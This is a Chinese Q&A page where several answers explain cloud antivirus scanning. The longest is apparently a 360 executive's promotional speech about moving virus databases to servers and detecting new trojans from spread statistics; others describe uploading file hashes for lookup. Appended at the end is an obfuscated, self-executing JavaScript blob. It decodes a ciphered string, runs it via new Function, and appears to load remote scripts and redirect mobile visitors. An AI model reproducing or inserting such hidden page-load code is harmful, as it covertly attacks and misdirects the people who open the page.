云查杀原理是什么?

2025-02-24 12:27:12
推荐回答(5个)
回答1:

两个感觉:第一个是关于杀毒软件,一个已经做20年的行业,它的核心技术可以说是一直基于收集病毒样本,采集病毒特征,组成病毒库,在每个用户的机器上按图索骥,像通缉令查坏人一样去查杀病毒。现在木马起来之后,当你手里有一把榔头的时候,看所有的东西都是钉子,但一个事实就是,杀毒软件是已经教育了20年的产业,今天不需要我在这里多讲,每个人都用过,每个人的机器装过一套,甚至是很多套,如果杀毒软件真能解决问题,今天木马不应该这么猖狂,我们也看过很多评测,一个非常有意思的现象,评测方找一些死木马、死样本,放在用户的磁盘上,因为这些木马和病毒安全厂商都已经拿到过,所以他们做到了查杀率99%。但实际上是怎么样的?如果你是一个做木马的小弟,过去做病毒是高水平的黑客,由于有了互联网、互联网的沟通,很多黑客也在出卖他们的技术,交流技术,今天只要花很少的钱就可以买一个木马的内核,在网上通过各种免费的工具,也就是一个不太会编程的小弟,社会青年就会造成一个属于他自己的木马。我也和一些做木马的人微服私访去聊过,他一定会拿杀毒软件试一下,如果纷纷报警,再傻也不会放出去,今天在搜索引擎里面输一个词“免杀”,会有无数的免杀的工具,所以就形成了这样一个悖论,一方面说话的杀毒软件都在宣称自己的查杀能力高达99%,拿了无数的国际评测标准,但是在真实的用户环境里面,新木马层出不穷,甚至只有几天、一周的传播周期,等杀毒软件得到样本能够杀了,这个木马该偷的都已经偷完了,盗来的号都已经销赃了,所以现在大家感觉杀毒软件很难对付这些新木马、快木马。
  第二个比较奇怪、滑稽的现象,现在的计算机配置越来越高,都是多核的CPU、上G的内存,可是大家没觉得机器快多少,就是因为杀毒软件成功做到了病毒没做到的事,它成功地把你机器的CPU耗尽了,成功地把你的内存耗尽了,所以现在很多人不是不想用杀毒软件,实在是用了杀毒软件会导致他的机器的资源、速度会严重降低。杀毒软件本来是对你有帮助的保镖、一个助手,却让你的计算机变得非常慢,需要不断的升级。有一些病毒是通过恶作剧让我们的机器变慢,劫持我们的电脑,现在杀毒软件已经成功做到了这件事情,所以很多人不装杀毒软件裸奔,就是觉得杀毒软件太慢、开销太大。
  这两个现象我们很多人都感同身受,打一个比方,世界再危险,穿上防弹衣、坐上防弹车,每小时速度只有20公里,即使他保证这个东西很安全,可能你也不会有上网的乐趣,用电脑也会有很多痛苦。这个原因特别简单,我给大家做一个解释,因为在过去20年里面,所有的安全公司、所有的杀毒软件都是基于一个对病毒库、木马库的样本采集,然后把它采集到的病毒库、木马库放在你的电脑上,今天你装一个杀毒软件,光有一个杀毒引擎起不到作用,没有了病毒库木马库、杀毒软件就像一堆废铁,不能有任何作用。以前每年撑死有几百种病毒,杀毒公司雇一些精英采集这些病毒,再把特征码更新到用户的机器里面,这种模式在过去的十几年可以工作,但是现在随着互联网的流行,我想在网上有很多这样的文章,像木马产业链的发达,木马制作技术的门槛降低了,使得今天木马已经变成互联网的最大威胁,甚至每秒钟可能都会有新的木马被制作出来。即便是已经被杀毒软件发现的木马,经过任何一款免杀工具制作,只要杀毒厂商没采集到,杀毒软件就看不到这个免杀的木马,所以在很多有杀毒软件的机器上,木马依然横行。这就是我刚才说的杀毒软件杀不了木马的问题。
  你们回去安装任何一款杀毒软件,你发现杀毒软件现在动辄是50兆起步,甚至有的杀毒软件基本上到了七八十兆、上百兆,一个软件为什么那么大?就是因为病毒库。随着病毒样本的增加,大家想象一下,杀毒软件的病毒库会无限膨胀,最后你的硬盘要给它腾出很大的空间来存放病毒库。而杀毒软件的引擎在查杀病毒的时候,把病毒库放在内存里,所以你可以理解,装了杀毒软件,2G、4G的内存,要拿很多内存来装病毒库。最后杀毒软件非常“成功”,成了你机器开销最大、占内存最大、CPU占用最大的一个软件。我们可以说让我们的计算机不断升级,双核变四核,我们可以装64位的操作系统,但是前面讲了木马病毒每天还在不断涌现,所以我们要不断升级病毒库、木马库,所以叫脉动升级、秒级升级,无论是在打游戏、看视频,杀毒软件无时无刻不断的加病毒库、木马库,其实还是亡羊补牢。
  我们就在想,这难道是唯一的解决之道?在360冲击这个市场的时候,对于这样一个20年没有什么革命和创新的市场、我们在商业市场给了他们一个创新,我们认为杀毒软件不是用来卖的,安全软件是免费的,不给木马、病毒留出繁殖的土壤。
  对于木马泛滥,我们在“云查杀引擎”技术上可以用与众不同思路解决这个问题。实际上在做360云查杀引擎之前,我们在过去三年做了一些尝试。
  我举两个例子:因为对今天的安全厂商来说,20年如一日干一件事,他们已经把传统的杀毒软件做得炉火纯青,每天在你的论坛里面,拿几十兆的病毒库去按图索骥,我们没有想按互联网的方式解决问题。刚才齐总说了360给用户打补丁,很多人忽视给自己的机器及时发现漏洞,打上补丁。过去大家觉得不方便,也想不起,也不知道为什么要打补丁,对杀毒公司来说打补丁也不一定重要,但是我们换一种思路说苍蝇不叮无缝的蛋,就是因为有漏洞木马才会渗透进来,我们360第一时间发现漏洞、打上补丁,让你的机器没有缝隙,让木马没有机会渗透进来,你也不需要花很多的精力、金钱去查杀。无论是微软操作系统,还是应用软件,在第一时间发现了漏洞,我们就会第一时间告诉用户,赶快把你的漏洞补上,只要用户OK我们会自动做这个事情,坦率说这件事没什么技术难度,只是需要我们投入服务器和带宽,但是非常有效地在中国解决了木马泛滥的问题,即使没有装传统的杀毒软件,也不是因为我们做得有多好,而是漏洞被补上了中招的概率小了90%。漏洞补丁只是我们的一种思考,我们希望跟传统杀毒公司用不一样的思路来解决问题。
  这一次我们推出的云查杀引擎,实际上就是基于云安全、云计算做出来的引擎,刚才冯鑫和齐总都提到零升级,这是这个引擎最大的一个特点,就是在本机上有扫描和查杀的引擎,但是没有任何病毒库和木马库,我们把所有的病毒库和木马库都放在中央服务器集群上。大家知道真正的云计算就是把计算从每个用户的终端电脑上搬到中央服务器,只要在用户的机器上体现结果、成果就好了,所以我们在中国25个省建立了数据中心,我们投入的几千台服务器成为云计算的一个核心,大家知道360的技术团队前身是做搜索引擎的,所以我们今天把做搜索引擎的技术,实际上是在服务器端做了一个安全引擎,来帮助我们的360的云查杀前端,能够把机器里面的这些文件的状态和信息送到服务端来进行及时、迅速的查询。这样的话在任何时候,你不需要去下载任何的病毒库和木马库,当然也谈不上升级木马库和病毒库,只要在服务器端发现任何木马病毒,客户端只要扫描就会享受这种成果,包括我们把大量的查询、分析工作放在服务器端,使我们今天的云查杀引擎实现了中国电脑教育报给大家做的报告,我们内存开销大概是杀毒软件的1/5,我们的扫描速度大概是他们的10倍。这我们谈的零升级、零负担,这是是否云安全、云计算的标志。
  仅仅是把木马库、病毒库放在服务器端还没有真正解决问题,如何查杀未知木马呢?刚才我指出的杀毒软件的问题是不是360也有呢?是不是能查杀随时变换的木马呢?
  第二点,我们的云安全和别人不同的地方,也就是说对于很多已知的木马和现在新出来的木马,我们构造了两个云,一个云是几千台服务器构造的中央处理集群,现在我们拥有2亿4000万用户、他们使用的1.2亿台电脑,构成了一个网络,这个网络越强大,就越能帮助我们快速发现新的威胁,因为里面有很多技术细节,就举一个例子让大家理解。
  现在360用户查杀到木马,大概只有20%是和中央服务器的木马库去进行对比,我们还有80%是基于我们对木马本身行为的判断,基于我们对木马通用特征的判断,然后在服务器进行一种智能的通信和分析。我想讲得更贴切一些,而不是举例子。一个新的木马在没抓到之前,通过一台孤立的机器,无论装的杀毒引擎有多么强大,都无法判断木马是否有威胁;假设是Vista的UAC,运行一个程序有没有危害,会询问用户yes还是no,因为在一台机器上并不知道是好坏,有的用户按了yes,有的用户按了no,所以不是解决之道。
  云查杀引擎是,在用户的电脑上,我们发现一个陌生的程序,我们就会关注,我们会采集它的行为特征,我们不会让用户做判断,因为用户是没有判断能力的,除非木马的行为非常拙劣,我相信很多主动防御软件已经实现了类似的功能,但是今天的木马变化越来越多、行为越来越复杂,包括恶意软件和正常软件也很难区分,所以我们会把刚才采集的信息传到中央服务器集群,如果这个木马不再做任何传播,是一个安安静静的死马,我们认为这个木马没有威胁,我们的系统不会有反应,但是这个木马一旦传播,又传播到一个新的机器里面,也是在网络里面马上就感知到,这台机器也会向中央集群报告,当100、500、1000台机器报告了,中央集群服务器会统计、搜集信息的分析和反馈,会智能的判断出来这个文件不一般,在这么短的时间里面能够迅速流行,而且它的流行有很多的相似形,我们的警报就会报警,这个软件的样本会在我们后台有一个自动化的流程进行分析,一旦判断完就会把它加到我们数据中心的木马库里面。当传播到1001台机器的时候,这时候云查杀引擎的传感器已经能够通过和总部的通信知道这是一个危险的程序。
  我举两个例子:当年我在雅虎的时候,大家都知道反垃圾邮件是非常难做的事情,通过分析垃圾邮件的正文来判断是否是垃圾邮件,只要把写信的风格一变就分辨不出来了,但是雅虎当时反垃圾邮件也是用互联网的思路解决问题,这个方法跟我们有异曲同工之妙。你想象一下,一个垃圾邮件的作者不会只发一千封,可能一次发一万封以上,当发几万封以上,雅虎所有的邮件都存在中央服务器,当发现一个邮件发了一千、一万个邮箱,根本不用判断这封信的内容,就可以判断是一封垃圾邮件,所以道理是一样的。
  大家如果还有印象,在03年非典刚起来的时候,当时没有一个中央疾病采集和控制机制的时候,比如说非典在各地出现,各地的医院凭着自己的经验去判断,它的特征很不明显,有地方把非典当感冒治、肺炎治,结果就没有意识到是一个流行病毒的威胁,所以到今天甲流肆虐的时候,每个国家都有中央疾病控制中心,及时采集各种样本和病例,哪怕不知道,虽然现在不知道病毒内部的DNA和分子结构是什么样的,但也能有预警和控制。
  所以这次的云查杀引擎并不是建立了中央服务器,这样的网络也是一个新的防护网络,不是靠一台电脑在做判断,而是靠上亿部的电脑在做采样、分析。摆脱了过去非常被动的采集病毒样本、人工分析病毒样本再来进行追杀的机制。今天我们对很多的病毒木马,甚至不需要了解,这个木马内在的技术,我们甚至不需要分析,只要在一定的机器上有过传播之后,我们的云安全中心就能捕获到及时清理出去。
  我举了一些例子、比喻,我不知道是不是讲清了云安全的原理。当然知易行难,可能对我们很多同行来说,由于他们做传统的杀毒20年,应该说20年积累了很多技术积累、优势,在木马产业规模很大的时候,在互联网对产业带来变革的时候反而成了包袱。
  我们很幸运,我们是无意中闯到了安全领域,我们是光脚的,不是穿鞋,没有过去传统思维的束缚,也没有包袱,同时也迫使我们必须用与众不同的方式去解决安全问题。我相信优秀的安全公司做的事,我们不可能做得更好,现在杀毒软件应付木马都这么难,我们干吗走这条老路?
  所以今天我们推出云查杀引擎,我们是把互联网和安全技术结合起来,当然有人可以说这是一个革命,可能是一个颠覆,我是觉得做公司越久越不敢说大话,我只能说“是骡子、是马拉出来遛遛”,大家用一下我们的引擎,看看它的效果是不是能够真正做到比杀毒软件更好,是不是比杀毒软件占内存少80%,快10倍,让安全软件在保护电脑安全的同时,把电脑还给用户,我觉得这是我们努力的目标。
  我一直坚信新发明的抗生素、新药,并不能杀很多的细菌,木马也会躲避云查杀的分析,它们会有新的方法,但是我觉得道高一尺、魔高一丈。至于我们今天为什么像传统公司一样搞一个发布会,其实我想通过发布会向行业发起几个呼吁,我们发现木马产业链的问题比很多人想象的更严重,靠少数的安全公司、少数的精英对抗木马产业链里的上百万的人员,肯定已经是日暮西山了。我把360定位为创新,我们希望把互联网安全技术方向讲出来,希望有更多的安全厂商能够意识到不是360在砸你们的锅,是互联网在改变这个行业,是互联网在冲击这个技术结构,希望有更多的安全厂商也和360一起意识到未来的前景,携手把互联网和安全紧密的结合,我认为只有众多厂商都意识到这个问题,抛弃原有的20年亘古不变的技术体系结构,走到真正的云安全体系来,才可以说遏制木马的威胁。
  今天我们也请了很多合作伙伴。我想冯鑫知道,现在电影文件可能也会被塞着一个木马,我们做了云查杀之后是瘦客户端,真正的判断处理逻辑是在服务器端。很多做企业内网的厂商,很多做企业级的厂商,他们面临的问题和我们一样,我们可以免费把云查杀引擎的SDK提供给他们,哪怕像暴风影音、迅雷,很多娱乐化的软件,用户在看电影之前,包括今天我们请了网易、盛大这些做游戏的公司,用户在玩游戏之前可以用软件做一下查杀,用10倍速的速度给用户创造一个安全环境,我们需要更多的厂商合作,而不仅仅是靠360一家之言、一家的能量,这次开会也希望跟媒体的朋友、合作伙伴、公众来分享我们对互联网安全的一个思考。
  所以,在未来我相信,360会继续保持创新精神,也就是说我们会不走寻常路,我们希望能够把在互联网这么多年的技术积累,包括技术创新能够真正的用到互联网安全上面;我们也希望未来会继续信守我们的承诺,继续把我们跟安全有关的、每个人都需要用到的基础服务保持永久免费,这不仅是当初我们对公众、对用户的一个承诺,更重要的是我们再次意识到网络安全不是杀毒厂商的事,是每个互联网网民的事,搜索引擎、电子邮件、网络聊天是互联网的基础服务,网络安全现在也成了基础服务,这样一定是免费的,这是360的一个理念,我们希望在免费的理念下面,能够把我们的产品做得比收费的产品更优秀,从而实现我们的一个梦,我们希望互联网无论是在电子商务、网络游戏、社交网站、游戏,我们都在保护中国几亿网民的安全,因为变得安全,从而让中国互联网有更好的发展

回答2:

所谓“云”,其实指的是后端(服务器端),平时我们很少能够看到的那一端,正因为平时难得看到,所以有一种虚无缥缈的感觉,也许就是因为这个原因,才被称为“云”吧。我们平时能够看到的是什么呢,当然是自己用的PC和手机这些东西了,也就是所谓的“客户端”。
就是在病毒进入你的计算机之前将病毒拦截,因为病毒进入你的计算机,需要经过传输,而在传输过程中,云安全会提示你这里有病毒,并且阻止其进入你的电脑。

所谓对比,指的是病毒样本的特征,这些东西体积很小的,占用网速体现不是很明显。
这个个人觉得是一个检测方式,而且,具体的东西,例如出了新病毒变种什么的,他们也会拿到样本后手动检测,不会单纯的依赖于云。

回答3:

云查杀,实际上就是基于云安全、云计算做出来的引擎。
就是在本机上有扫描和查杀的引擎,但是没有任何病毒库和木马库,所有的病毒库和木马库都放在中央服务器集群上。把计算从每个用户的终端电脑上搬到中央服务器,只要在用户的机器上体现结果、成果就好了。
实际上是在服务器端做了一个安全引擎,来帮助云查杀前端,能够把机器里面的这些文件的状态和信息送到服务端来进行及时、迅速的查询。这样的话在任何时候,不需要去下载任何的病毒库和木马库,当然也谈不上升级木马库和病毒库,只要在服务器端发现任何木马病毒,客户端只要扫描就会享受这种成果,把大量的查询、分析工作放在服务器端。

回答4:

朋友你好,云查杀的意思就是,将病毒样本放入服务器,通过成千上百的服务器智能检测,自动判断文件是否病毒,这被称为云端,也被称为云查杀,而云查杀必须联网才有效,为什么这样说,因为只有联网后才能与杀毒软件的服务器相连接,从而达到快速查杀而减低误杀,目前360杀毒,金山都采用了这一技术,我目前使用的360杀毒,个人感觉还是不错的。

回答5:

是将文件的哈希码或者是md5等特征上传到服务器进行比对~~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();